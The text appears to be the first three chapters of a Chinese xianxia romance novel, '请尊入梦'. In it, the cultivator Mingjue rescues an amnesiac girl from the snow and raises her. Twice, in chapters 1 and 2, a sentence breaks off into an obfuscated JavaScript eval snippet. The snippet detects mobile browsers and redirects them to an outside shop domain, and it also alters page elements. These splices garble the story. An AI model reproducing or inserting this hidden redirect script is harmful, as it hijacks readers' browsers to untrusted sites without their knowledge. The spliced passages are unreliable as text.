《请尊入梦》 1. 第1章 尘寂山。 深冬的夜,雪落得无声,却绵密。鹅毛般的雪花,一层覆一层,将连绵的山峦裹成了无边无际的白。 山巅处,依着峭壁,建有一座殿宇,庭院深处有几间竹楼,雅致简朴,不见半分雕琢装饰。一间门匾上书“静居”,屋内,一灯如豆,明决端坐在蒲团上,闭目调息,他呼吸绵长细微,周身气息澄澈通透。 在不远处的案几上,摊着几卷医书,角落的一只小巧的铜炉里,燃着一点安神的檀香,烟气笔直上升,凝而不散。 他在此地清修多年,早就习惯了这亘古的孤寂与洁净。 蓦地,明决眉心微微一蹙,感应到了一种与这雪夜格格不入,微弱又执拗的......杂音,像是一张洁净的宣纸上突兀落下的一滴墨,虽小,却刺目,让人难以忽视。 明决缓缓睁开眼睛,侧耳倾听片刻,外面除了呼呼风雪声,并无异样。 他掐诀心算了一下,今夜天象并无特别,山中生灵也早该蛰伏修养去了,这突如其来的“扰动”,实在透着蹊跷。 静极思动。 也罢,既是心有所感,便去查看一番,以安其神。 遂起身,取过墙角的油纸伞,推开大门。寒风裹着雪粒,瞬间涌入,吹得灯焰一阵摇曳,他转身掩上门,离开静居,踏入了那片一望无际的白。 雪下的很深,已经没及脚踝,踩上去“咯吱咯吱”作响。他单手执伞,步履从容,脚步看似不快,身形却在雪地上几个起落,便已到了半山腰。他凭着直觉,目光如电,扫过四周,皑皑白雪的覆盖下,所有的岩石,枯木皆失了本来形状,混沌一片,辨不出具体什么东西来。 他站在原地,静默了片刻,果然,那“杂音”又出现了,一声接一声,愈发清晰。这回离得近了,他才分辨出来,那并不是声音,准确来说是一缕气息,微弱,混乱,带着濒死的寒意,却纠缠着一丝顽强的生命力。 他确认了具体方位,循着那股微弱的感应走去,大约走了十几步,停了下来,这里岩石林立,背风,稍显暖和点,有一处岩石明显往下凹陷了几分,大雪几乎将那里填平了,一角沾染了泥污的暗红格外显眼,倔强地从大雪中探出,像是半截布料。 明决俯下身,轻轻拂开积雪,他这才发觉,这里竟然躺着一个小孩儿。 小小的身子蜷缩着,脸颊冻得乌青发紫,雪水冰凌混着长发纠结紧紧黏在一起。孩子紧闭着双眼,气息微弱,可能下一刻就会被这漫天风雪吞噬掉。 这孩子从哪里来的?他有些惊疑,伸出手指搭上小孩儿冰冷纤细的腕脉,指尖静静感受着传来的脉象,淡漠的眼中,快速掠过一丝涟漪。 脉象显示这是个女孩儿,孩子有些先天不足,早被寒气侵了体,如今饥疲交加,外伤失血......种种皆是寻常苦难,但小孩儿血脉深处,有一股隐隐奔流的异种真气,阴戾而灼热,虽然极为稀薄,隐晦难察,却还是逃不过他的感知。 明决当即收回手,看着雪地里这具小小的,即将熄灭的生命之火。理智告诉他,这孩子身份不祥,留之可能是个后患。天地不仁,以万物为刍狗,他修行至此,更应该明晓其中因果,不该沾染这等是是非非,转身离去,当做今夜无事发生,任由这大风雪将其彻底掩埋,才是最明智的选择。 漫天风雪仿佛知晓了他的心意,下的更急更迅猛了些。 一片雪花落在小女孩被冰霜黏住的睫毛上,颤了又颤,未曾融化。 没来由的,他忽然想起自己推门离去时,屋内那盏被风吹得摇曳的孤灯,此刻的她像极了那盏灯。 他静静望着小孩儿。 良久,一声清浅的叹息,消散在风雪里。 他收了伞,解下大衣,将那个冰坨般的小小身体仔细包裹好,抱了起来。 不管上山还是下山,四周一如既往静谧安宁,但他知道,下山时的心境与上山时完全不同了,他怀中多了个人。 她又瘦又小,轻的像一片羽毛,无知无觉的趴在他的肩头,歪着小脑袋一动也不动。明决一手抱着她,一手撑着伞,踏着来时的路,一步步,走向山巅那点明亮的灯火。 静居内,重新燃起了安神的檀香,炭火烧得噼啪作响,暖融融的驱散了寒意。小女孩被安置在矮榻上,厚厚的棉被簇拥着她,身上的污迹已经被清理干净了,伤口敷上了草药,用干净的棉布包扎好。明决给她渡过去了一些真气,也被她很好的吸收了,原本乌青的小脸,渐渐恢复了一些血色。 明决亲自捣好了一些草药留着备用,这才坐回榻边,再次为她诊脉。发现那缕晦涩的血脉不见了,他再怎么仔细探查,也了无踪迹,这真是让人捉摸不透,仿佛之前只是他的错觉。 他看了看她,此刻的小女孩,那么脆弱,那么无害,洗净血污后,露出了一张极为清秀稚嫩的脸庞,眉毛细细的,鼻子翘翘的,嘴唇失血有些泛白,模样安静恬淡,看起来乖巧极了,若不是明决亲身在山中捡到她,几乎要以为这是哪个书香门第走失的小千金。 当然,她不是。 小女孩的眼皮跳了一下,长长的睫毛也剧烈颤动起来,像是陷入了很可怕的梦魇中,小脑袋不安地在枕上转动,断断续续的呓语:“不......不要......好多血......”“冷......好冷......救救,救救我......” 她声音带着哭腔,满是无助,一滴泪珠从她眼角滑落,转瞬没入鬓发里面去了,很快,眼角又有新的泪珠出现。她紧紧皱着眉,很痛苦,梦里的她正在遭遇着不知名的惨痛经历。 明决伸出一根手指,轻轻拭去了她眼尾的湿痕,他望着指尖那一滴透明的冰凉。 是水。 雨水,雾水,露水,小溪,湖泊,大海,他常常见,但泪水这种液体,他许久不见,觉得有些新鲜。 毫无预兆地,在下一刻小女孩睁开了眼睛。 那是一双极其清澈的眸子,黑白分明,像山涧最纯净的一泓清泉,只是此刻,这泉水中盛满了未散的惊惧,还有一丝小兽一样的警觉。 在看清明决的一瞬间,又变得有些懵懂,茫然。 她就那么看着他,眨了眨眼,似乎确认了自己并非身处在梦中,然后,从被子里伸出小手,微弱地,带着试探地,扯了扯他落在她枕边的衣袖。“你是,神仙哥哥吗......从天上来的?”她的声音软软糯糯,带着高烧后的沙哑。 她唤他哥哥?这个称呼,于明决而言,陌生得近乎荒谬,他一生独来独往,清静自守,何曾与人有过这般亲昵的羁绊? 明决轻轻地摇了摇头,始终沉默着,没有应声,也没有抽回衣袖。 小女孩见他没有排斥自己,胆子似乎大了一些,挪了挪身体,朝着他的方向更近了一点。说不清楚为什么,她对明决有种天然的亲近感,她离他很近,能嗅到他身上传来的气息,清冽干净,那是药草与冰雪混合的味道,让她觉得无比安心。 小女孩努力弯起嘴角,想给他一个笑容,却不小心牵动了干裂的嘴唇,渗出血丝。“是哥哥......救了我吗?”她问,眼睛依旧一眨不眨地望着他,里面清晰地倒映出他的身影。 明决终于开了口:“你昏倒在雪地里,碰巧被我看见。” 他望着窗外,声音有些不真切:“你从哪里来?” “我......我不知道。“她努力回想,发现脑子里空空的,晕倒之前发生的事情什么都想不起来。“我只记得......山上很大雪,都是白的,好冷好冷......”她瑟缩了一下脑袋,仿佛怕极了那时的寒意侵袭,下意识裹紧了身上的棉被,也更紧地攥住了他的衣袖,像溺水的人抓住了唯一的浮木。“谢谢,谢谢哥哥的救命之恩,要不是你,我可能已经被冻死了......” 她顿了顿,眼中迅速蒙上一层水汽,泫然欲泣:“我没有家了......也没有亲人了,我不知道自己还能去哪里,根本活不下去......哥哥,你......不要赶我走,好不好?“泪水在她眼眶里打转,却倔强地没有掉下来,愈发显得楚楚可怜。 明决看着她那双纯净的眼睛,这小姑娘与他推算出的“魔障难消”“后患无穷”之类的全然不同,理智仍在提醒他其中的关碍,但面对这样一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892634|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚从鬼门关捡回一条命,无家可归的小孩儿,那些基于推演出来的未来,微乎其微的“可能”,显得那么苍白,那么冷酷。 明决是修士,修的是天道,是医者仁心,见死不救的行径已经算是违背了他道之本心,若再将其推入绝境,简直是天道难容。 “你伤势未愈,寒气入骨,还需静养些时日。”他避开了她的问题,只陈述事实,声音依旧平淡,“此处是尘寂山,我叫明决,是一名清修之士,你可暂居于此,这里很安全。” “还有,不要唤我哥哥。” 他没有答应留下她,却也未曾立刻驱逐她。 小姑娘眼中瞬间迸发出明亮的光彩,那光彩冲散了泪意,纯然而喜悦,她用力点点头,雀跃道:“我知道了!谢谢哥......谢谢你,明决!” 他说不准叫他哥哥,那她只能勉为其难的直呼其名了,可她喊出口的瞬间却觉得,这样反而唤得更加亲昵了。 “你呢?还记得自己叫什么名字吗?”明决问道。 “我......我不记得了,”谈及这个问题,又把她难住了,小姑娘有些迷茫失落。“可能我之前根本就没有名字吧,你救了我,就是我的再生恩人,不如你给我重新起一个吧,随便什么名字都可以。”说完,她就闭上了眼睛,像去准备迎接一个惊喜一样,只要是他起的名字,她都喜欢。 明决略微沉吟,她是他在雪夜里忽然听闻响声发现的,与雪有缘。他开口道:“于寂静中,听得风雪天地之笙。既如此......” “你便姓雪,唤你闻笙,如何?” 雪闻笙。 小姑娘睁开眼睛,笑眼弯弯道:“好啊,我以后就叫雪闻笙了,闻笙,闻笙,我喜欢。” “嗯。”明决点点头,不再多言,起身去端来一直温在炉子上的药碗,浓黑的药汁,散发着苦涩的气味。 他将药碗递到她面前。 小闻笙看着那碗药,小小的鼻子皱了皱,脸上露出一丝明显的畏难。她抬起眼,又是那副可怜兮兮的模样,软声央求道:“药好苦......闻笙能不能不喝?” “良药苦口。”明决语气没有任何转圜余地,“若想活命,快些养好伤,便需每日按时服用。” 小闻笙撇了撇嘴,委委屈屈地看了他一会儿,见他毫无动摇之色,才慢吞吞地伸出小手,捧住那只比她脸还大的陶碗,她闭上眼,像是赴死一般,仰头“咕咚咕咚”地将药汁全部灌了下去。 一口气喝完,她整张小脸都皱成了一团,吐着舌头,连连吸气:“咳咳咳,好苦,好苦,真的好苦......” 明决见她这般畏苦,目光扫过一旁的小桌几,上面放着一碟白色的桂花糖,本是明决用来佐茶的,但平日里几乎不曾动过,他心中略一迟疑,还是拈起一小块,递了过去。 小闻笙惊喜地接过,迫不及待地放入口中,香甜味在舌尖化开,冲散了苦涩,不知道是不是错觉,她觉得吃到糖的一瞬间,身体忽然变得暖融融,轻飘飘的,心底里说不出来舒服柔软,她眉开眼笑,甜津津道:“谢谢你。明决,你真好!”她的笑容纯粹又满足,仿佛世间最甜的糖,便能抵消她所有经历的苦难。 明决收拾了药碗,淡声道:“歇息吧。” “嗯。”小闻笙乖乖掖好被角,闭上了眼睛。 由于她身上积疴伤痛甚多,需费时多多调养,接下来的日子,小闻笙便在尘寂山暂时住了下来。 明决并没有完全放心她的身份,那晚给她糖吃的时候,他顺便在她眉心施了一道禁制,日后只要她安于本分,做个普通女孩,平淡生活,那么这道禁制对她而言,完全没什么影响,可若她情绪不受控,日后做出什么倒行逆施的暴虐行为,那这道禁制,就能发挥作用,很好的束缚她。 尘寂山是个修身养性的绝佳场所,明决希望她彻底忘却前尘往事,能好好呆在此处潜心养伤,他希望这道禁制永远不要生效。 就这样,她的伤势在明决的精心调理下,开始慢慢好转,小闻笙似乎也逐渐恢复了孩童应有的......或者说,是明决认为孩童应有的天真活泼。 2. 第2章 尘寂山的清晨,总比其他地方来得更早些,也更清洌些。 熹微的晨光尚未完全驱散山谷间乳白色的岚霭,露珠还颤巍巍地挂在草叶尖儿上,后山药圃才有的混合了泥土与百草的清苦气息,已经随着湿润的山风弥漫开,浸染着庭院竹楼的每一寸角落。 明决一如往常,在天光未亮之时便已起身。 他静坐于临崖的露台之上,双目微阖,吐纳绵长。他穿着惯常的素白长袍,宽大简洁,没有多余纹饰,却愈发衬得他身形挺拔,气质冷峻。晨风拂动他肩侧垂落的几缕墨发和袖摆,有种随时会羽化登仙般的飘逸,又因他眉宇间那份沉静的威严,而牢牢锚定在了这尘世之中。 一缕金丝线一样的阳光穿透云层,落在他眼睫上,他缓缓睁开眼,眸子里映着山河初醒的壮丽,却不见丝毫沉迷。修道数十载,他已经习惯了与天地独处,理性与克制早已融入骨血,成了他呼吸的一部分。 然而,这份亘古的宁静,近来却被一个灵动的声音打破了。 “明决!明决!你看,我今早采的露水,是不是比昨天的更多了些?我尝了一下,发现南边的露水似乎比北边的甜一点,是不是因为两边种植的草药品种不一样呢。”这道声音像出谷的黄莺,带着不谙世事的清亮与欢快,由远及近。 随即,一个穿着浅碧色衣裙的少女,像一只轻盈的蝴蝶,翩翩然出现在了露台的台阶上。 她此时手里捧着一个精致的白瓷小瓶,脸上带着些许薄汗,因为是跑着过来的,双颊泛着红晕,眼睛亮晶晶的,满怀期待地望向他。 正是雪闻笙。 不知道这个年纪的女孩是不是都像她这般,对什么都充满好奇,分享欲也极其旺盛。 明决转过身,目光落在她身上,一片柔和。他并未回答她关于露水多少,品种不同的问题,淡淡道:“晨起雾寒,跑动易生汗,若被山风扑了,于你伤势无益,安静些吧。” 语气是他惯常的平稳,听不出多少关切。 雪闻笙却浑不在意,几步跳到他跟前,将小瓶献宝似的举高:“我知道啦!下次我走的慢些。你快看看嘛,这露水收集在瓷瓶里,瞧着可真干净,用来煎你上次说的那个‘清心润肺茶’是不是最好不过了?” 她仰着脸,天真烂漫,纯真无邪。 自从被他所救,在尘寂山养伤以来,她就像一株终于找到适宜土壤的幼苗,迅速恢复了生机。看身量,似乎比刚来那会长高了不少,虽然每天饭量确实不小,从不挑食,也没见她身上多长肉。人是真聪明,又心性活泼,在明决的教导下,她读书习字进步飞快,对种植草药花果这些琐事也充满了新奇与热情。 明决接过瓷瓶,拔开瓶塞,凑近鼻尖轻嗅片刻,点了点头:“取自竹叶与兰草之上的晨露,确含清冽之气,用之煎茶,可添一分雅韵。你有心了。” 得到他的肯定,雪闻笙立刻笑逐颜开道:“那我们现在就去煎茶好不好?我还可以帮你把那些新采的草药按照时令逐一分拣好。” “先用早膳。”明决将瓷瓶递还给她,转身向屋内走去,“食有时,寝有时,方是养生之道。”说是这么说,其实明决已经辟谷多年了,跟她一起吃饭完全是在迁就她。 “哦。”雪闻笙冲着他的背影悄悄吐了吐舌头,但还是乖乖跟了上去。 她喜欢听明决说话,就连这种带着教训口吻的话,从他口中说出来,也自有一股令人信服的力量。 是啊,他博览群书,气度非凡,世间仿佛没有他不懂的道理,没有他解不开的难题。 他就像尘寂山的主峰,巍然屹立,令人安心。 早膳是清粥小菜,皆是山间所出,清淡朴素。席间,明决沉默居多,雪闻笙却从头到尾叽叽喳喳的说个不停。 “明决,我昨天读《百草经》,看到书上有‘七星海棠’的描述,说是叶如鬼脸,花若星辰,剧毒无比,见血封喉。我们山上有吗?它真的长得那么奇怪吗?” “此物阴毒,非救人所用,尘寂山不植此等凶物。” “哦......”雪闻笙似懂非懂地点点头,又想起什么,“那‘月影草’呢?书上说它只在月圆之夜开花,花香能安神助眠,我们山上有没有?” “有。在后山寒潭边。待你伤势再好些,让木心童心带你前去一观。” 明决口中的“木心童心”是两个用牵丝术制作的木头人,明决在此处独居甚久,偌大的殿宇庭院,全靠木心童心两个木头人在打理,他们略通灵性,虽然不言不语,却踏实可靠。 “真的吗?太好了!”雪闻笙开心地几乎要拍手,但又立刻规规矩矩坐好,学着明决的样子,小口小口地喝着粥,努力做出端庄的模样,那强装老成的稚气派头,若是旁人看了,肯定会忍俊不禁。 明决抬眸看了她一眼,并未多言。他性子清冷,习惯独处,最初收留这来历不明的少女,不过是出于医者仁心,不忍见死不救。他知她身份或有蹊跷,但她伤势极重,且似乎忘却前尘,他便也只当不知,悉心为她调理。时日久了,这少女的天真烂漫,聪慧好学,像一道不受控制的光,不经意间照进他规律到近乎刻板的生活,她带来了许多他未曾预料到的热闹。 用过早膳,便是例行的读书习字时间。 书房里,三面墙皆是顶天立地的书架,垒满了各式竹简、线装古籍。明决端坐于宽大的书案之后,雪闻笙坐在他对面的一个小一些的案几前,学着他的样子,铺开宣纸,研墨执笔。 “今日临的是王羲之的《兰亭集序》。” “嗯,我准备好了。” 明决的字,一如他的人,结构严谨,风骨峭拔,于端正中见飘逸,于规矩中显逍遥。 而雪闻笙的字,却显得有些......风格迥异。她下笔极快,笔画灵动,甚至有些跳脱,虽形似已有七八分,但内里的神韵,与明决的截然不同,少了几分克制,多了几分不羁。 明决起身,走到她身后,俯身查看。他的靠近带来一股淡淡的像雪后青草般的冷冽气息,雪闻笙觉得好闻极了。 “此处‘之’字,捺笔需含蓄,一波三折,不可如此肆意。”明决的声音在她头顶响起,“腕需悬空,下笔力透纸背,而非用指力蛮书。”他的指导清晰又精准,不带丝毫情绪。 雪闻笙收敛心神,努力按照他说的去做,但写出来的字,总觉得少了什么。 一口气写了好几个,都不满意,她有些气馁地放下笔,双手托腮,嘟囔道:“写字好难啊,为什么一定要写得跟你一模一样呢?我觉得我这样写,也挺好看的呀。呐,呐,你看看。” 明决直起身,平静地看着她:“习字如修身,初学时需循规蹈矩,掌握规律,意在磨砺心性,去除浮躁。形态易摹,风骨难成。当你能真正静下心来去写的时候,笔下的字自然会告诉你,该如何书写。” 他顿了顿,又道:“不是一定要你写的跟我一样,而是希望你找到属于自己的‘静’与‘定’,也就是自己修行顿悟出来的道。” 雪闻笙抬起头,望进他深邃的眼眸。里面没有责备,没有不耐,一派清明,她似懂非懂的点了点头,他说的总是有道理的。便重新拿起笔,深吸一口气,努力让自己的心沉淀下来,一笔一划,开始变得缓慢,每一次落笔都郑重万分。 明决微微颔首,不再多言,回到自己的书案前,拿起一卷《南华经》,静静翻阅。 阳光透过木窗,在光滑的地板上投下斑驳的光影,时光在书页翻动和笔尖划过纸面的沙沙声中,静谧流淌。 偶尔,雪闻笙会遇到不认识的字或不解的典故,便会捧着书跑过来问他。明决总会放下手中的书卷,耐心解答,引经据典,深入浅出。他的声音低沉而富有磁性,讲述那些古老的故事和道理时,仿佛带着一种奇特的魔力,时常让雪闻笙听得入了迷。 但是她的注意力也总会不由自主跑偏,从书本上转移到他线条完美的侧脸上,看着他专注的眼神,她心中时常会涌起一阵一阵莫名的悸动。 这个男人,像一座蕴藏着无尽宝藏的深山,吸引着她不断想去探索,但又始终隔着一层无形的云雾,可望而不可即。 午后,是跟木心和童心一起照料药圃和花果的时间,这是雪闻笙每日里最喜爱的一段时光了。 尘寂山的药圃依山势而建,层次分明,种植着无数奇花异草,许多都是外界千金难寻的灵药,明决可谓是种植之道的大家。以前除了他之外,木心童心会跟他一起,帮忙做些基础的劳务工作,如今,也多了雪闻笙。 “明决,这株‘玉髓灵芝’旁边的土好像有点干,要不要给它浇点水?”雪闻笙蹲在一株形如白玉,伞盖肥厚的灵芝旁,小心翼翼地用手指戳了戳旁边的泥土,泥土瞬间就散开了,看起来极度缺水。 “不可。”明决正在不远处检查一丛叶色紫金的草药,头也未抬便道,“玉髓芝性喜阴凉润泽,却忌根部积水。你观其伞盖边缘,色泽是否依然莹润?若缺水,边缘会率先干卷。此刻它状态正好,无需额外浇灌。” “哦!”雪闻笙恍然大悟,凑近仔细看了看,“真的诶!它的边边还是圆润润的,像玉一样。”她站起身,又跑到另一片开着细碎蓝花,香气清幽的药田边,“那这些‘秋梦堇’呢?它们闻起来好香,能不能摘一些放在房间里做熏香?” “秋梦堇香气有宁神之效,但过量吸入会致人昏沉,白日不宜久置室内。你若喜欢,可采摘少许,将其晒干,减弱药性,置于香囊里挂在房间窗外通风处即可。” “知道啦!”雪闻笙欢快地应着,从包里拿出小剪子,小心翼翼地挑选了几枝开得最好的,动作轻柔,生怕伤及植株。 明决偶尔会指点她一些草药的特性和栽培要点,他的话语简洁,却字字句句都切中要害。雪闻笙学得极快,往往举一反三,记忆力更是惊人,只需明决说过一遍,她便能牢牢记住。 “明决,你看!这棵‘火灵果树’好像又结了几个新果子!”雪闻笙指着不远处一棵红彤彤的果树,兴奋地喊道。那灵果色泽艳红,形如樱桃,蕴含着精纯的灵气,是疗伤补元的佳品。 明决走过去,仰头看了看,阳光透过枝叶缝隙,在他素白的衣袍上投下摇曳的光斑,他伸手轻轻触碰了一下一枚新结的小果,动作轻柔。“嗯。待其再成熟半月,色泽转为深绛,便可采摘。届时予你服用,对你巩固元气大有裨益。” 他的声音一如既往的平淡,但雪闻笙却能从这平淡中,感受出一种细致的关怀,她心里甜丝丝的,像喝了蜜糖一样。“谢谢你,明决。”她小声说,脸上洋溢着纯粹的快乐。 有时,他们也会一起整理晾晒的药材,雪闻笙手脚麻利,按照明决的要求,将不同的药材分门别类,摊放在竹筛里。明决则会仔细检查药材的成色,偶尔会拿起一片药材,放在鼻端轻嗅,或放入口中细细品尝,以判断其药性。 “闻笙,将那边笸箩里的‘龙血竭’取来。”明决吩咐道。 “好。”雪闻笙应声而去,端来一个装着暗红色块状药材的笸箩。明决拿起一小块,在指尖捻开,仔细观察其色泽和质地。 “龙血竭,活血化瘀,止痛生肌。但其性燥烈,需与性平的‘茯苓’或性寒的‘地黄’配伍,方能中和其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892635|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燥性,发挥最佳疗效。”他一边检查,一边像授课一样对雪闻笙讲解着。 雪闻笙蹲在他身边,双手托腮,听得认真:“就像人一样,太刚猛了容易伤人,太寒凉了又容易伤己,要互相搭配,才能平衡,对不对?” 明决闻言,手上动作微微一顿,侧目看了她一眼。少女的眼眸清澈见底,闪烁着求知与悟性的光芒。他点了点头:“大道同源,万物一理。你能作此想,甚好。” 得到他的赞许,雪闻笙笑得眉眼弯弯。 夕阳西下,将天边云彩染成绚丽的锦缎时,他们便会结束一天的劳作,返回竹楼休憩。 晚膳通常比早膳稍显丰富,但依旧秉持着清淡养生的原则。席间,雪闻笙兴奋地讲述一天下来的收获和趣事,比如哪只山雀又来偷吃晾晒的枸杞了,哪株草药又冒出了新芽。明决多数时候是安静的听众,偶尔会在她表述不准确时,出言纠正一二。 他永远都是这样,从来不会因为雪闻笙的活泼而失态,也不会因为她的笨拙而动怒。他就像一座永恒不变的灯塔,无论外面的世界是狂风暴雨还是晴空万里,他都始终散发着稳定,清冷的光辉。这种极致的稳定,对于心思敏感,记忆混沌的雪闻笙而言,有着难以言喻的吸引力,仿佛只要在他身边,就是安全的,踏实的。 可是,对于雪闻笙来说,白日里得到的这份安宁与融洽,一旦进入到了夜晚,便会像被戳破的泡沫一样,消失的无影无踪。 月朗星稀的夜晚,雪闻笙躺在房间,身体陷在柔软的被衾里,白日里的欢快与活力随着夜晚的寒凉一并褪去了,皮肤上泛起一粒粒鸡皮疙瘩,从骨子里透出一种不安的情绪并逐渐蔓延到了全身,再柔软的棉被也捂不热她,夜里睡得很不踏实,她秀气的眉头紧紧蹙着,额间渗出细密的冷汗。 断断续续的,又开始做那些奇怪的梦了。 究竟是什么样的梦,她自己也说不上来,因为梦里一片昏黄,没有清晰的画面,只有混乱的光影和声音。 她依稀记得,有时候是冲天的火光,映照着一些扭曲狰狞,莫名熟悉的面孔。 有时候是凄厉的惨叫与兵刃相交的锐响,刺得她耳膜生疼。有时候又是一阵阵极具诱惑性的,仿佛能勾魂摄魄的歌声与轻笑,那声音让她既向往又害怕......梦里出现最多的,是一种弥漫不散的血色,浓稠得令人窒息,还有一股若有若无,甜腻而诡异的花香。 她在梦里奔跑,在梦中挣扎,不知道自己身处何方,要去哪里,天和地都没有尽头,她筋疲力尽,觉得自己仿佛被困在一个无尽的迷宫里,想要呼喊,却发不出任何声音,想要逃离,双腿却像灌满了铅,完全不听自己使唤,想喊,喊不出,想逃,逃不掉,梦里有一种深切的悲伤,恐惧,以及......一种她自己都无法理解的暴戾之气,总之,一切都混乱极了。 “......不......不要......”她躺在床上,无意识地呓语,身体微微颤抖。 忽然,一只微凉的手轻轻覆上了她的额头。 那触感,像玉石,清凉,带着安定人心的温暖力量。随后,梦魇像潮水般渐渐退去,消散,恢复平静。 雪闻笙猛然睁开眼,清醒过来,急促地喘息着,猝不及防的,她对上了一双在黑暗中清明如寒星的眼眸。 是明决。 他不知何时来到了她的床边,穿着寝衣,随意地披着外袍,显然是从他自己的房间过来的。月光透过窗户,在他周身镀上一层淡淡的银辉,他看起来像是一个不染尘埃的世外仙人。 “做噩梦了?”他的声音在寂静的夜里,显得有些低沉。 雪闻笙的心脏还在砰砰砰直跳,梦中残留的惊悸让她不安,下意识地想寻求依靠,刚想张口,一股更强烈的直觉,让她死死压下了倾诉噩梦的欲望。 那些梦太诡异了,太黑暗了,跟她白日里表现出来的天真烂漫格格不入。 她害怕,怕一旦把噩梦里的事情说出来,她会失去眼前这片唯一的安宁净土。明决若是知道她可能与那些黑暗诡异的东西有关联,还愿意收留她吗?她不想离开,不想冒险。 于是她迅速垂下眼睫,掩去眸底翻涌的复杂情绪,再抬起时,努力的挤出一个看似轻松的笑容:“没,没什么,可能就是......日有所思夜有所梦,白天听你讲那些奇奇怪怪的草药,又看多了《山海记文》,不知不觉联想的太多,做梦它们都变成吃人的怪物了,我被吓了一跳。不要紧的,我经常会这样,现在没事了。” 她试图用玩笑把这件事给掩饰过去。 明决的手从她的额上移开,他静静地看着她,目光仿佛能穿透她无关紧要的伪装,直抵内心。雪闻笙被他看得心慌意乱,几乎要撑不住了。 好在,明决并没有追问什么,他收回目光,转身走到桌边,执起茶壶,倒了一杯茶递给她。“喝点水,定定神。“ 明决淡淡道:“梦由心生,亦由境生。尘寂山清气充盈,本不应常生梦魇。或许,是你体内残存的淤血未清,影响了心神。明日我为你调整一下药方。” 他选择相信了她的借口,或者说,他选择了不深究。这是一种基于仁心的宽容,也是一种极致的理性——他尊重她的隐私,除非她主动开口,否则他不会强行窥探。 雪闻笙接过水杯,捧在手里,温热的白瓷杯壁熨帖着她微凉的指尖,也稍稍安抚了她慌乱的心。她小口啜饮着,温水滑过干涩的喉咙,带来一丝暖意。 “明决,”她小声开口,转移了话题,“你......你小时候会做噩梦吗?” 她很期待他的回答。 3. 第3章 明决在床边的椅子上坐下,姿态端方。他沉吟片刻,道:“修行之人,炼己修身,首要便是降伏心魔。心若澄潭,波澜不兴,外邪不入,何来噩梦?” 他的回答,真是一如既往的......“明决”,雪闻笙觉得很有道理,仔细琢磨了一下,觉得似乎缺少了一点“人情味”,对这个回答倒也不是失望,其实她想知道更多关于明决小时候的趣事,或者是他以前的一些其他事,他这样的回答反而更加勾起了她的好奇,明决话里的意思,她不懂。 “心魔?那是什么?是不是像话本里说的,那种张牙舞爪的妖怪吗?” 明决微微摇头:“心魔非是外物,乃是自身执念、妄念、恐惧所化之幻影。它无形无质,却可乱人心智,毁人道基。贪、嗔、痴、慢、疑,皆是心魔之种。” “额......哦......好......”雪闻笙似懂非懂,不,应该是完全不懂,又问道:“听起来很不祥,那要怎么样才能没有心魔呢?” “太上忘情,并非无情。而是洞悉世事本源,不为外物所扰,不为情欲所困,持心守正,念念清明。”明决看着她,月光下,他的眼神深邃如海,“闻笙,你还小,经历尚浅,不必过于思虑这些。只需记得,但行好事,莫问前程,心存善念,噩梦自消。” 他的话语,并没有完全驱散雪闻笙心底的阴霾,心存善念,噩梦自消?可她那些奇奇怪怪的梦境里,充斥着的分明是血腥、暴戾与魅惑,没有丝毫善念啊,那以后她还要继续受到噩梦影响吗?梦里有贪、嗔、痴、慢、疑吗?她会不会生出心魔呢? 她不敢深想。 见她不语,神色间仍有些郁郁,明决破天荒地没有立刻离开。他就那样静静地坐在椅中,重新闭上了眼睛,仿佛入定一般。 “睡吧。”他淡淡开口道,“我在此处。” 没有多余的安慰,只有一个沉默的守护姿态和这简单的四个字,我在此处。 雪闻笙愣住了。 她看着月光下明决宁静的侧影,一股巨大的安心感将她紧紧包裹住,那些纠缠她的噩梦碎片,仿佛在这清冷如山月的气息面前全部消散了。 她重新躺下,拉好被子,侧过身枕着手臂,偷偷望着他。 明决的存在,本身就是一种强大的力量。她不知道自己的过去,不确定自己的未来,但至少在此刻,在这个有他守护的夜晚,她是安全的。 渐渐地,他的呼吸变得均匀绵长,雪闻笙在这令人安心的气息下,意识逐渐模糊,终于沉沉睡去了,这一次,果然再没有噩梦来打扰她,这一觉睡得很香甜。 明决在她呼吸平稳之后,才缓缓睁开了眼睛,他看向床上熟睡的少女,目光深沉。他并非对她的异常一无所觉,那些她梦中无意识泄露出来的,极其微弱却本质迥异的信息,未能逃过他敏锐的灵识。 他只是选择不言。 医者父母心,她如今是她的病人。在她伤势未愈、心神未定之前,探究其不愿提及的隐秘,非仁者所为。至于她的来历......天下之大,无奇不有。他明决行事,但求问心无愧,又何须惧她来自何方?只要她在尘寂山一日,他便护她一日安宁。这便是他的道,他的仁义。 夜色渐深,月光如水,流淌在两人之间,一个沉睡无梦,一个静坐守心。这尘寂山的夜,因了这无声的守护,显得格外漫长,也格外安宁。 山间的岁月,原本像山涧的溪流,清澈、宁静,带着草药清苦的韵律和书卷墨香的悠长,日复一日地流淌。雪闻笙已经习惯了这种节奏——在明决的监督教导下,她读书、习字、照料药圃,乖乖吃药,感受着自己身体一日好过一日的轻盈,以及......对明决那份难以言喻的依赖,心生欢喜。 但是,近些时日,溪流仿佛遇到了无形的礁石,水声变得急促,波纹也乱了章法——宁静的日子发生些许变化。 变化的源头,是明决。 